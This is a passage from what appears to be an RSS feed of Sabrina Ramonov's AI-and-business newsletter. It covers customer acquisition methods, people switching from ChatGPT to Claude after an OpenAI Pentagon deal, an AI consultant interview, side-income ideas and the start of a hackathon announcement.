it. You&#8217;re not convincing anyone they have a problem. They already know.</p><h2>14. Create a Free Custom GPT</h2><p>I built a custom GPT called <a href="https://chatgpt.com/g/g-67420285c5e0819198e68562445713a5-viral-hooks-for-short-videos-blotato-com">Viral Hooks for Short Form Video</a>.</p><p>I had a database of 1,000+ viral hooks I scraped from TikTok. I made it a free lead magnet. Then loaded it into a custom GPT.</p><p>Now thousands of people use it. Blotato is mentioned right in the GPT. It drives awareness with zero ongoing effort from me.</p><p>If you have any kind of valuable dataset or framework, turn it into a free GPT. It takes an hour. The traffic compounds.</p><h2>15. Build Local Relationships</h2><p>Chamber of Commerce. Local Facebook groups. Meetups.</p><p>I haven&#8217;t done this. I&#8217;m introverted. I don&#8217;t love talking to people in person.</p><p>But if your product or service targets local businesses... this is gold. Show up, build relationships, become the &#8220;AI person&#8221; in your local network.</p><p>Not every business needs to scale globally. Some of the best first customers come from your neighborhood.</p><div><hr></div><h2>The PAID Methods</h2><h2>16. Pay for Leads with Apollo</h2><p><a href="https://www.apollo.io/pricing">Apollo</a> lets you search for specific types of people and companies, get their emails, and reach out.</p><p>I&#8217;ve poured over $100,000 into paid acquisition channels. The ROI has been NEGATIVE. Like, a lot negative.</p><p>Be careful with this one. Start small. Test your messaging. Don&#8217;t dump your budget into cold outreach before you&#8217;ve validated your value prop with free methods first.</p><h2>17. Facebook Ads Funnel to Landing Page</h2><p>Classic paid acquisition. Run ads. Send people to a landing page. Convert.</p><p>I&#8217;ve spent money here. Lost money here. Learned a lot.</p><p>If you&#8217;re going to do this, start with a tiny budget. Like $10-20/day. Test different hooks and landing pages. Don&#8217;t scale until you see positive ROI.</p><p>Most people throw money at ads before they&#8217;ve figured out their messaging. Fix the messaging with free methods first. THEN amplify with ads.</p><h2>18. Vibe Code Micro Apps to Drive Traffic</h2><p>Build a small, free tool related to your product. Something people search for.</p><p>Example: <a href="https://taplio.com/">Taplio</a> built a free LinkedIn post generator. People search &#8220;LinkedIn post generator,&#8221; find the free tool, love it, and upgrade to the paid product.</p><p>I do this. The tool itself is free. But you&#8217;ll pay for vibe coding tools and hosting.</p><p>The ROI is wild once you rank for the right keyword. It&#8217;s like SEO but you&#8217;re ranking a TOOL, not an article.</p><h2>19. Micro Press Coverage with HARO and ABNewswire</h2><p><a href="https://www.helpareporter.com/">HARO</a> (Help a Reporter Out) lets you answer journalist calls for quotes. I used this at my first startup and got featured in Business Insider.</p><p>It&#8217;s 1 quote from you, your name, your title, and a link to your product. Free backlinks. Free credibility.</p><p><a href="https://www.abnewswire.com/">ABNewswire</a> is something I&#8217;m testing right now. You pay $80 for a press release targeting a specific keyword. The press release goes out to news outlets and... you start showing up in ChatGPT AI answers for those keywords.</p><p>I saw someone on Instagram say they did this and started ranking in AI search results. I&#8217;m testing it with &#8220;social media scheduling API&#8221; as my target keyword.</p><p>$80 experiment. We&#8217;ll see.</p><h2>20. Listen to Social Conversations with OGTool</h2><p><a href="https://ogtool.com/">OGTool</a> and similar tools use AI to monitor social media conversations (Reddit, Twitter, forums) and surface the ones relevant to your product.</p><p>Every day, you get the top 3 Reddit posts about painpoints you solve. You go in there and reply with a genuine, helpful answer.</p><p>The mistake: people try to automate the REPLY too. Don&#8217;t.</p><p>Use AI to find the conversations. Be a human when you engage. Share something personal. Be a little vulnerable. It stands out like crazy compared to the obviously bot-written responses.</p><p>This is on my to-do list. I see the value. I haven&#8217;t gotten around to it because I have so many comments coming in every day. I don&#8217;t want MORE conversations.</p><p>But it works. Especially for SEO and LLM visibility. Your replies get indexed by ChatGPT and other AI engines.</p><h2>21. Sponsor Niche Newsletters or Micro Influencers</h2><p><a href="https://www.passionfroot.me/">Passionfroot</a> is a platform with a curated directory of influencers. You search by niche, follower count, platforms, and pricing.</p><p>You don&#8217;t need this platform. You&#8217;d get the same result DMing influencers directly. But it streamlines the search.</p><p>Where people go wrong: they go after big influencers first.</p><p>Someone with 1,000 TikTok followers has the same likelihood of going viral as someone with 1 million. TikTok is democratized like no other platform.</p><p>What you want: micro influencers who UNDERSTAND your product and your audience. Not big names who just want the paycheck and will forget about you immediately.</p><p>Start micro. Save your budget. </p><p>Get 5 customers, not 5 million impressions.</p><h2>My Honest Pick</h2><p>If I had to pick 1 method for someone starting from zero...</p><p>Short-form video content. Method #4. Every time.</p><p>It&#8217;s free. It compounds. And it feeds EVERYTHING else on this list.</p><p>Your short-form video becomes a forum post. Becomes a lead magnet. Becomes a long-form script. Becomes an affiliate&#8217;s content to remix.</p><p>I grew from 0 to 1.7+ million followers making content 1 day per week. Solo. No team. No budget. No editor. No paid ads.</p><p>You don&#8217;t need 1.4 million followers to get 5 customers. You need like... 10 videos.</p><p>Pick 3-4 methods from this list. Try them for 30 days. See what works. Double down on the winner.</p><p>And remember&#8230;</p><p>You don&#8217;t need 5,000 customers right now. </p><p>You need your first 5. Then 50. Then 500.</p><div><hr></div><div class="poll-embed" data-attrs="{&quot;id&quot;:468409}" data-component-name="PollToDOM"></div><p></p><h1>P.S. Need More Help? &#128075;</h1><blockquote><p>1/ Free <a href="https://www.sabrina.dev/p/start">AI courses</a></p><p>2/ Free <a href="https://prompts.sabrina.dev/">AI prompts</a></p><p>3/ Free <a href="https://agents.sabrina.dev/">AI automations</a></p><p>4/ Free <a href="https://freevibecode.ai/">AI vibe coding</a></p><p>5/ Ask me anything @ <a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></p><p>6/ Free private community for <a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></p><p>7/ I built <a href="https://www.blotato.com/">Blotato</a> to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA['Cancel ChatGPT' After OpenAI Signs Pentagon Deal]]></title><description><![CDATA[Why are millions of users cancelling ChatGPT?]]></description><link>https://www.sabrina.dev/p/cancel-chatgpt-after-openai-signs-pentagon-deal</link><guid isPermaLink="false">https://www.sabrina.dev/p/cancel-chatgpt-after-openai-signs-pentagon-deal</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Tue, 03 Mar 2026 22:18:01 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/N9xgTlaoK4c" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>'Cancel ChatGPT' mass viral trend goes mainstream after OpenAI signs the Pentagon deal.</p><p>Millions quit OpenAI and switch to Anthropic Claude. </p><p>Sensor Tower reports uninstalls of ChatGPT&#8217;s mobile app jumped 295% day-over-day.<br><br>Earlier today March 3rd 2026, OpenAI CEO Sam Altman concedes: "We shouldn&#8217;t have rushed to get this out on Friday. The issues are super complex, and demand clear communication. We were genuinely trying to de-escalate things and avoid a much worse outcome, but I think it just looked opportunistic and sloppy."</p><div><hr></div><h2>Why is Everyone Canceling ChatGPT?</h2><p>Cutting through the noise and explaining the real story:</p><div id="youtube2-N9xgTlaoK4c" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;N9xgTlaoK4c&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/N9xgTlaoK4c?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p>This is a few days older but has cooler music :D</p><div id="youtube2-oWYvIZjizRI" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;oWYvIZjizRI&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/oWYvIZjizRI?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h2>How To Cancel ChatGPT and Switch to Claude</h2><p>Step-by-step tutorial to migrate from ChatGPT and to Claude.</p><p>In this beginner tutorial, I&#8217;ll walk you step-by-step through how to cancel your ChatGPT subscription and switch over to Claude, without starting from scratch.</p><p>If you&#8217;re exploring AI tools and want a simple stress-free transition, this video will show you exactly what to do.<br><br>Here&#8217;s the Biography Prompt referenced in the video:</p><p><em>"write a complete and thorough biography about me based on all our conversations. ask me clarifying questions about anything you're uncertain about that is important and should be included."</em></p><div id="youtube2-9xD04SoMgmo" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;9xD04SoMgmo&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/9xD04SoMgmo?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><div><hr></div><div class="captioned-button-wrap" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/cancel-chatgpt-after-openai-signs-pentagon-deal?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="CaptionedButtonToDOM"><div class="preamble"><p class="cta-caption">If you LOVE this newsletter, please <strong>SHARE</strong> it to help teach more people for FREE!</p></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/cancel-chatgpt-after-openai-signs-pentagon-deal?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.sabrina.dev/p/cancel-chatgpt-after-openai-signs-pentagon-deal?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <em><strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></em></p><p>2/ Free <em><strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></em></p><p>3/ Free<strong> </strong><em><strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></em></p><p>4/ Free <em><strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></em></p><p>5/ Ask me anything @ <em><strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></em></p><p>6/ Free private community for <em><strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></em></p><p>7/ I built<em><strong> <a href="https://www.blotato.com/">Blotato</a> </strong></em>to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[She Replaced Her 9-to-5 With AI, Earning $100,000+ in 6 Months]]></title><description><![CDATA[Follow Brooke Wright's incredible journey into AI Consulting and AI Training, with zero background in tech.]]></description><link>https://www.sabrina.dev/p/brooke-wright-replaced-her-9-to-5-with-ai-earning-6-figures</link><guid isPermaLink="false">https://www.sabrina.dev/p/brooke-wright-replaced-her-9-to-5-with-ai-earning-6-figures</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Thu, 26 Feb 2026 20:50:32 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/_qPS8PdDgrI" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Brooke Wright replaced her 9-5 job with AI Consulting/Training, despite ZERO formal training in technology or AI. </p><blockquote><p>She earned over $100,000+ in her first 6 months. </p><p>She&#8217;s now earning more income than ever before.</p></blockquote><p>I told her&#8230; she&#8217;s just getting started :)</p><p>Now, she shares how YOU can do it too!</p><div id="youtube2-_qPS8PdDgrI" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;_qPS8PdDgrI&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/_qPS8PdDgrI?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><div><hr></div><h2>Here are all the topics we cover:</h2><p>  1. The Exit Plan: Escaping the Corporate 9-to-5</p><p>  2. Balancing a Side Hustle With 2 Kids &amp; Full-Time Travel</p><p>  3. Getting Your First Client &amp; Automating Workflows</p><p>  4. How to Master AI Without a Tech Background</p><p>  5. Avoiding Tutorial Hell: Make.com &amp; Custom GPTs</p><p>  6. Create vs. Consume: The Mindset Shift That Pays</p><p>  7. High-ROI AI Skills for Beginners in 2026</p><p>  8. Overcoming Cringe: Posting Your First Talking Head Video</p><p>  9. 158 Followers to Enterprise Clients in Under a Year</p><p>  10. Social Media Strategy: Getting High-Value Leads</p><p>  11. Free Workshops: The #1 Lead Generator Nobody Uses</p><p>  12. Local Business Chambers &amp; Offline Networking for AI Leads</p><p>  13. From Freelancer to Corporate AI Consultant</p><p>  14. Why Most Companies Are Still Stuck at &#8220;Build a GPT&#8221;</p><p>  15. Strategy-First AI Consulting (Not Prompt Engineering)</p><p>  16. How to Upskill in AI While Still Employed</p><p>  17. Claude Cowork vs. Claude Code for Business Teams</p><p>  18. Scaling an AI Business to 6 Figures and Beyond</p><p>  19. 2 Proven Paths to Start Your AI Career Today</p><div><hr></div><h2>Connect with Brooke</h2><p>I highly encourage you to connect with Brooke, especially if you&#8217;re looking for Claude AI Training for your team. She&#8217;s the real deal hands-on builder and problem solver:</p><ul><li><p>Instagram: <a href="https://www.instagram.com/wright_mode/">https://www.instagram.com/wright_mode</a></p></li><li><p>Linkedin: <a href="https://au.linkedin.com/in/brooke-wrightmode">https://au.linkedin.com/in/brooke-wrightmode</a></p></li><li><p>Youtube: <a href="https://www.youtube.com/@WrightMode">https://www.youtube.com/@WrightMode</a></p></li></ul><p>If you have questions, please drop them in the Youtube comments so we can promptly answer!</p><div><hr></div><div class="poll-embed" data-attrs="{&quot;id&quot;:459927}" data-component-name="PollToDOM"></div><div class="captioned-button-wrap" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/brooke-wright-replaced-her-9-to-5-with-ai-earning-6-figures?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="CaptionedButtonToDOM"><div class="preamble"><p class="cta-caption">If you LOVE this newsletter, please <strong>SHARE</strong> it to help teach more people for FREE!</p></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/brooke-wright-replaced-her-9-to-5-with-ai-earning-6-figures?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.sabrina.dev/p/brooke-wright-replaced-her-9-to-5-with-ai-earning-6-figures?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <em><strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></em></p><p>2/ Free <em><strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></em></p><p>3/ Free<strong> </strong><em><strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></em></p><p>4/ Free <em><strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></em></p><p>5/ Ask me anything @ <em><strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></em></p><p>6/ Free private community for <em><strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></em></p><p>7/ I built<em><strong> <a href="https://www.blotato.com/">Blotato</a> </strong></em>to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[8 Income Streams You Can Build While STILL an Employee]]></title><description><![CDATA[How to make money with AI despite limited time and resources.]]></description><link>https://www.sabrina.dev/p/8-income-streams-you-can-build-while-employed</link><guid isPermaLink="false">https://www.sabrina.dev/p/8-income-streams-you-can-build-while-employed</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Sun, 22 Feb 2026 17:09:56 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/bA0g9tK3lg4" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote><p>In case you missed it:</p><ul><li><p><a href="https://youtu.be/MfwEVTU6Y2o">Give me 55 seconds and I&#8217;ll delete your fear of failure</a></p></li><li><p><a href="https://youtu.be/3HVH2Iuplqo">the EASIEST Claude Code + MCP tutorial</a></p></li><li><p>Free community for <a href="https://www.skool.com/women-building-ai-2577/about">Women Building AI</a></p></li><li><p><a href="https://www.tiktok.com/@sabrina_ramonov/video/7606431755586800926">Viral resume writer prompt</a></p></li></ul></blockquote><p>Today, I share 8 Income Streams You Can Build While STILL Employed!</p><p>Because if you earn 1 paycheck, you are 1 layoff away from $0.</p><div id="youtube2-bA0g9tK3lg4" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;bA0g9tK3lg4&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/bA0g9tK3lg4?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p><em>To support my free AI education: HIT LIKE + LEAVE A COMMENT&#128591;</em></p><div><hr></div><p>The smart move? </p><p>Build a side income <strong>BEFORE </strong>you need it!</p><p>I&#8217;m not talking about random side hustles. </p><p>Each of the 8 income streams I&#8217;m about to share either <strong>sells your expertise</strong>, <strong>sells attention</strong>, or <strong>sells automation</strong>. </p><p>And each one can be started on nights and weekends while you&#8217;re still fully employed.</p><div><hr></div><h2>1. Train AI Models With Your Expertise</h2><p>We all know ChatGPT is great for general tasks. </p><p>But imagine <strong>high-stakes, real-world domains</strong> &#8212; finance, healthcare, law, science &#8212; where being wrong has dire consequences. People go to school for YEARS before they&#8217;re allowed to serve customers in these fields, and accuracy matters enormously.</p><p>The problem? </p><p>LLMs hallucinate. They&#8217;re often not trained with deep, specialist domain expertise.</p><p>That&#8217;s where <strong>you</strong> come in.</p><blockquote><p>Startups will literally <strong>pay you</strong> to label data and train AI models for specialized tasks. They CANNOT hire random people off the street &#8212; they need YOUR domain knowledge.</p></blockquote><p>One company doing this is <strong>Mercor</strong>. Here&#8217;s what they&#8217;re paying:</p><ul><li><p><strong>Radiologists</strong>: $290&#8211;$340/hour</p></li><li><p><strong>Software Engineers</strong> (QA): $70&#8211;$120/hour</p></li><li><p><strong>Lawyers</strong>: up to $150/hour</p></li><li><p><strong>Sales &amp; Management</strong>: $90&#8211;$150/hour</p></li><li><p><strong>Project Management Specialists</strong>: $90&#8211;$150/hour</p></li></ul><p>And Mercor isn&#8217;t the only one &#8212; there&#8217;s a growing number of startups offering these opportunities. </p><div><hr></div><h2>2. Build Your Personal Brand</h2><p>The next 3 are content-related because I&#8217;m <strong>passionate</strong> that this is the ULTIMATE SHORTCUT.</p><p>It&#8217;s free, part time, and accessible to everyone w/ wifi.</p><p>You can absolutely start even if you&#8217;re fully employed. </p><p>I only created content <strong>1 day per week</strong> for the longest time.</p><p>Even now, I still batch 90% of my content 1 day per week, but I&#8217;ve added 3 more Youtube videos on <strong>WEEK NIGHTS</strong> (630pm-8pm) because I&#8217;m trying to crack that channel faster.</p><p>Yes, at my level:</p><blockquote><p>1 day per week + a few weeknights! </p></blockquote><p>(I spend most of my time building my app or enjoying life)</p><p>If I can do it, you can definitely do it.</p><p>Post in the evenings, post on weekends. </p><p>One of the most common questions I get: </p><p><strong>&#8220;How much can you actually make as an influencer?&#8221;</strong></p><p>Impact.com released their 2025 data on influencer pay rates across platforms. Here&#8217;s the breakdown:</p><p><strong>Most popular platforms</strong>: Instagram (92%), TikTok (43%), Facebook (41%).</p><p><strong>How much influencers get paid on Instagram:</strong></p><ul><li><p><strong>Nano influencer</strong> (&lt;10K followers): $500&#8211;$2,000 per post</p></li><li><p><strong>Macro influencer</strong>: $20,000&#8211;$45,000 per post</p></li></ul><p>TikTok has similar slightly lower numbers.</p><p>If you think these numbers are crazy &#8212; I can tell you from personal experience they&#8217;re not. I&#8217;ve experimented a lot with paid influencer marketing for my app and these numbers are pretty normal. Especially in the <strong>AI space</strong>, where every company is trying to buy creators.</p><p>Let&#8217;s do some quick math. Say you post content one day a week. In 12 months, you have a nice small following You start charging $500 per sponsored post and do 5 per month. </p><blockquote><p><strong>That&#8217;s $2500/month in side income.</strong></p></blockquote><p>Do I think sponsorships are the best path to millions? No. </p><p>But we&#8217;re talking about income you can earn while employed &#8212; and this one is very high leverage, compounding over time.</p><div><hr></div><h2>3. Build a Faceless Brand</h2><p><strong>What if you don&#8217;t want to show your face?</strong></p><p>Everyone is confused about the term &#8220;faceless.&#8221; </p><p>Faceless does NOT mean AI slop. Faceless has gotten a bad rap because so many people are pumping out low-quality AI-generated content that happens to be faceless.</p><p>But if you ask anyone who&#8217;s been on YouTube for years, <strong>faceless just means there isn&#8217;t a central person or face in the videos.</strong> </p><p>That&#8217;s it. It&#8217;s a format, and it&#8217;s been around FOREVERRR.</p><p>I found a TikTok video where someone just points at their phone, talking about how to clean your phone speakers using a specific audio track. No face. Just pointing and talking. 90 secs.</p><blockquote><p><strong>That faceless video got 95 MILLION views.</strong></p></blockquote><p>You can also use <strong>AI avatars</strong> for faceless content&#8230; but that doesn&#8217;t mean your content is good. The burden is still on you to make it engaging, timely, interesting. You still need to experiment with hooks, trending topics, try dynamic cuts and edits.</p><p>One huge bonus of a faceless brand? </p><p>You can eventually <strong>outsource everything</strong> or even <strong>sell the brand entirely</strong> since your personal identity is NOT attached to it.</p><div><hr></div><h2>4. Repurpose Content for Big Creator</h2><p>This is a really interesting offer I&#8217;ve been thinking about.</p><p>If you listen to me, Gary Vee, or literally anyone in content, our advice for ALL creators gaining traction is: </p><blockquote><p><strong>Go cross-platform.</strong></p></blockquote><p>Most creators delay this way too long.</p><p>I wish I started my Instagram 6 months sooner.</p><p>Heck, I STILL haven&#8217;t started X, Snapchat, Pinterest, Bluesky, Reddit, Lemon8, RedNote, etc.</p><p>As someone who gets lots of DMs every day selling me stuff, here&#8217;s the <strong>specific offer</strong> that would ACTUALLY make you stand out&#8230;</p><p>DM a creator with at least <strong>50k followers on 1 platform</strong> and say:</p><blockquote><p>&#8220;Hey, I saw you&#8217;re crushing it on PLATFORM but invisible on OTHER_PLATFORM. Let me own OTHER_PLATFORM for you, you won&#8217;t have to do anything.&#8221;</p></blockquote><p>This is a WAY better offer than just &#8220;I do video editing.&#8221; </p><p>You&#8217;re saying: <em>&#8220;You&#8217;re crushing it on TikTok? Let me help you automatically grow on Instagram. You don&#8217;t have to do anything. I&#8217;ll repurpose your content optimized for that platform, setup DM automations to drive followers to your offer, etc.&#8221;</em></p><p>The reason I love this: </p><p>The creator gets growth on a new platform with zero effort, and you get paid recurring income. </p><p>Win-win.</p><div><hr></div><h2>5. Coach People on Claude Code</h2><p>What is the <strong>hottest mainstream AI tool in 2026</strong>? </p><p>It is <strong>Claude Code.</strong></p><p>OpenClaw is up there too but not mainstream yet. I mean like NORMAL people, not tech twitter bubble hype.</p><p>Here&#8217;s what I&#8217;d do: spend 2 weeks FOLLOWING Claude Code tutorials (not just passively watching).</p><p>That alone puts you ahead of 99.9% of people. Then share what you learned via TikTok or Instagram:</p><blockquote><p>&#8220;Hey, here&#8217;s how to set up Claude Code. Want a one-on-one session where we walk through it together on a screen share? Link in bio.&#8221;</p></blockquote><p>The product is SO good that if you just help people set it up and get them typing, <strong>it will blow their mind</strong> and you look like a genius for coaching them through it.</p><p>The key difference between coaching and consulting: coaching is about <strong>accountability and clarity</strong>. People don&#8217;t expect you to do everything for them. You guide them. </p><p>And right now, Claude Code is the tool that everyone is trying to figure out. </p><p>The demand is massive.</p><div><hr></div><h2>6. AI Consulting</h2><p>Like I said above, consulting is different: <strong>you do it for them.</strong></p><p>Someone says, <em>&#8220;We heard about Claude Code. We heard about AI agents. Can you come into my business and implement this?&#8221;</em></p><p>You go in and deliver.</p><p>HOWEVER, this income stream is <strong>harder</strong> if you have zero experience consulting and zero technical background. The process of closing a consulting client requires marketing and sales ability. You need to set expectations, sell them on what you&#8217;re doing, and then actually deliver.</p><p>Also, make sure it doesn&#8217;t conflict with your day job&#8230; the stuff you want to consult on is often the stuff you&#8217;re already doing at work. Tread carefully here.</p><p>But if you DO have industry experience and you&#8217;re comfortable getting clients? This can be a lucrative side income stream.</p><blockquote><p>A nice variation of AI Consulting you can do while employed that takes FAR LESS work than actually building systems:</p></blockquote><p>AI Training Consulting - training teams how to use AI tools.</p><div><hr></div><h2>7. TikTok Shop</h2><p>This one might surprise you.</p><p>Do I think you&#8217;ll make millions on TikTok Shop? No. But it&#8217;s <strong>exploding</strong> right now. People are buying a LOT of stuff on TikTok Shop. Even as I scroll, I&#8217;m tempted to buy random stuff I definitely don&#8217;t need.</p><p>And TikTok Shop creators are generating real revenue.</p><p>Here&#8217;s why I think it&#8217;s worth including in this list:</p><p>Whatever you learn <strong>sets you up for everything else.</strong> </p><p>You learn core skills around content creation, experimentation, A/B testing, writing viral hooks, doing volume, staying consistent for a very long time.</p><p>So if you eventually want to transition to building your own personal brand? TikTok Shop teaches you how to be a great creator. It&#8217;s a natural stepping stone.</p><p>You can leverage AI here to dissect viral TikTok shop products and videos, then help you script your own versions.</p><div><hr></div><h2>8. Vibe Code Micro Apps</h2><p><strong>Big precaution here:</strong> for vibe coding to actually make money when you don&#8217;t have a technical background, you need to focus on <strong>one feature. ONE thing</strong> your app does. </p><p>Then spend <strong>99% of your time on marketing.</strong></p><p>That&#8217;s the reality.</p><p>Here&#8217;s a perfect example: </p><p>Lovable CEO recently tweeted that a user built a service that <strong>turns your pet photos into Renaissance portraits</strong> and ships the physical print to you. The app makes <strong>$100k per month.</strong></p><p>The complexity is NOT the app. It&#8217;s a cute idea, designed well, paired with a physical product people are willing to pay for. </p><p>The flow is dumb simple:</p><blockquote><p>upload photo &#8594; AI transforms it &#8594; it ships to you.</p></blockquote><p>But oftentimes, people try to vibe code way too much. </p><p>They&#8217;re building CRMs and full systems without the technical ability to maintain them or fix bugs. </p><p><strong>Keep it stupid simple.</strong></p><p>User enters app, user does one thing, user gets the result.</p><p>Build that, then market the heck out of it!</p><p>Once you get paying customers coming in, THEN you decide: double down on this product and hire a real engineer? Or keep launching micro apps and testing new ideas? </p><p>Side income gives you optionality.</p><div><hr></div><h2>My Honest Pick</h2><p>If I had to <strong>pick ONE</strong> out of all, it&#8217;s always <strong>personal brand.</strong></p><p>Always.</p><p>It&#8217;s higher leverage and more accessible to people with no business or technical background than anything else on this list. It&#8217;s literally free to start. You don&#8217;t need a fancy phone, ring light, microphone, studio setup, coaching, courses, or anything.</p><p>Plus, I can&#8217;t overstate this:</p><blockquote><p>The compounding benefits over time are just&#8230; incredible.</p></blockquote><p>But at the end of the day&#8230;</p><p>The key is to just <strong>start.</strong> Pick one. Do it on nights and weekends. Build the income stream BEFORE you need it. Create leverage and optionality for yourself.</p><p>Because you definitely don&#8217;t want to be one layoff away from zero.</p><div class="poll-embed" data-attrs="{&quot;id&quot;:453957}" data-component-name="PollToDOM"></div><p></p><div class="captioned-button-wrap" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/8-income-streams-you-can-build-while-employed?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="CaptionedButtonToDOM"><div class="preamble"><p class="cta-caption">If you LOVE this newsletter, please <strong>SHARE</strong> it to help teach more people for FREE!</p></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/8-income-streams-you-can-build-while-employed?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.sabrina.dev/p/8-income-streams-you-can-build-while-employed?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <em><strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></em></p><p>2/ Free <em><strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></em></p><p>3/ Free<strong> </strong><em><strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></em></p><p>4/ Free <em><strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></em></p><p>5/ Ask me anything @ <em><strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></em></p><p>6/ Free private community for <em><strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></em></p><p>7/ I built<em><strong> <a href="https://www.blotato.com/">Blotato</a> </strong></em>to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[Win $6000 at AI Hackathon! 🤟]]></title><description><![CDATA[Free for everyone, early March 2026, let's vibe code together]]></description><link>https://www.sabrina.dev/p/win-6000-at-ai-hackathon-march-2026</link><guid isPermaLink="false">https://www.sabrina.dev/p/win-6000-at-ai-hackathon-march-2026</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Thu, 19 Feb 2026 15:52:49 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!shn4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68c45893-68d4-42ec-8dce-040ddfedff08_448x475.png" length="0" 